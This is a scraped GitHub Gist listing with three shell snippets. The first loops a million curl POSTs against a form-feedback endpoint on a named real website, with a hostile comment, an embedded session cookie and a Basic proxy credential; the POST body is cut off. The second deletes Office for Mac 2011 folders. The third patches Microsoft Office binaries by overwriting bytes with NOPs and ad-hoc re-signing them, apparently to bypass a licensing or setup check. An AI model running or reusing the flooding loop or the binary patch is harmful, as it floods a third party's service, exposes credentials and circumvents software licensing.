Skip to content

Instantly share code, notes, and snippets.

View kalpeshgamit's full-sized avatar
🏠
Working from home

Kalpesh Gamit kalpeshgamit

🏠
Working from home
View GitHub Profile
# fuck http://www.mikecrm.com/f.php?t=t0g4Vh&from=singlemessage&isappinstalled=0 by @leaskh
a=0;
for ((i=0; i<=1000000; i++)); do
((a=$a+1));
echo $a;
curl 'http://www.mikecrm.com/handler/handleAddFormFeedback.php' -H 'Origin: http://www.mikecrm.com' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2' -H 'X-Requested-With: XMLHttpRequest' -H 'Proxy-Authorization: Basic Y29ycHNlYy0zNmtyOmkzaTN6SkZ5' -H 'Cookie: PHPSESSID=qkgshafe6oqglvn12b8mdqtq70' -H 'Proxy-Connection: keep-alive' -H 'Pragma: no-cache' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.12 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'MG-REFERER: {"RF":"NULL"}' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Cache-Control: no-cache' -H 'Referer: http://www.mikecrm.com/f.php?t=t0g4Vh&from=singlemessage&isappinstalled=0' --data 'DATA=%7B%22FORMTOKEN%22%3A%
@Leask
Leask / remove_office.sh
Created April 25, 2015 20:12
How to completely remove Office for Mac 2011?!
#!/bin/sh
# Original from: https://www.v2ex.com/t/174943#reply12
# more informations: https://support.microsoft.com/en-us/kb/2398768
osascript -e 'tell application "Microsoft Database Daemon" to quit'
rm -R '/Applications/Microsoft Communicator.app/'
rm -R '/Applications/Microsoft Messenger.app/'
rm -R '/Applications/Microsoft Office 2011/'
rm -R '/Applications/Remote Desktop Connection.app/'
@Leask
Leask / MSO15.11.2Patch
Created July 16, 2015 13:44
MSO15.11.2Patch
#!/bin/bash
echo "Patching Microsoft Office Outlook..."
sudo perl -i.bak -pe 's|\x00\x0F\xA3\xCA\x72\x02\x31\xC0|\x00\x0F\xA3\xCA\x72\x02\x90\x90|' /Applications/Microsoft\ Outlook.app/Contents/Frameworks/MicrosoftSetupUI.framework/Versions/Current/MicrosoftSetupUI
sudo codesign -f -s - /Applications/Microsoft\ Outlook.app/Contents/Frameworks/MicrosoftSetupUI.framework
echo "Patching Microsoft Office Word..."
sudo perl -i.bak -pe 's|\x00\x0F\xA3\xCA\x72\x02\x31\xC0|\x00\x0F\xA3\xCA\x72\x02\x90\x90|' /Applications/Microsoft\ Word.app/Contents/Frameworks/MicrosoftSetupUI.framework/Versions/Current/MicrosoftSetupUI
sudo codesign -f -s - /Applications/Microsoft\ Word.app/Contents/Frameworks/MicrosoftSetupUI.framework